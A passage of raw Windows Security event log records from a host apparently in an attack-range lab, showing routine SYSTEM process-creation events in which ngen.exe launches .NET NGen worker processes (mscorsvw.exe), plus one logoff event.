Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3f8 -InterruptEvent 0 -NGENProcess 3fc -Pipe 3f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:18 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254863 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11dc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3f0 -InterruptEvent 0 -NGENProcess 3f8 -Pipe 314 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:18 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254862 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x118c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3a4 -InterruptEvent 0 -NGENProcess 398 -Pipe 3e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:18 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254861 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe80 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3a4 -InterruptEvent 0 -NGENProcess 3d4 -Pipe 3e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:18 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254860 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1140 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 38c -InterruptEvent 0 -NGENProcess 3d4 -Pipe 3ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:18 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254859 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 3d0 -Pipe 380 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:18 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254858 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 38c -InterruptEvent 0 -NGENProcess 350 -Pipe 390 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:19 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254867 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x884 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 3e0 -Pipe 3f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:19 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254866 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe48 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3f4 -InterruptEvent 0 -NGENProcess 3fc -Pipe 384 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254873 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x368 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3c4 -InterruptEvent 0 -NGENProcess 398 -Pipe 39c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254872 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x898 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 398 -InterruptEvent 0 -NGENProcess 3fc -Pipe 350 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254871 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd40 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3c4 -InterruptEvent 0 -NGENProcess 350 -Pipe 3a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254870 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x133c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 39c -InterruptEvent 0 -NGENProcess 350 -Pipe 3ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254869 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x138c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 39c -InterruptEvent 0 -NGENProcess 3d4 -Pipe 3cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254868 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D6CE0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:07:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254874 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1344 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 408 -InterruptEvent 0 -NGENProcess 3d4 -Pipe 398 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254877 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 38c -InterruptEvent 0 -NGENProcess 410 -Pipe 430 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254876 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 3d0 -Pipe 3d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254875 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1090 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3e0 -InterruptEvent 0 -NGENProcess 41c -Pipe 3a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254878 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe38 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: 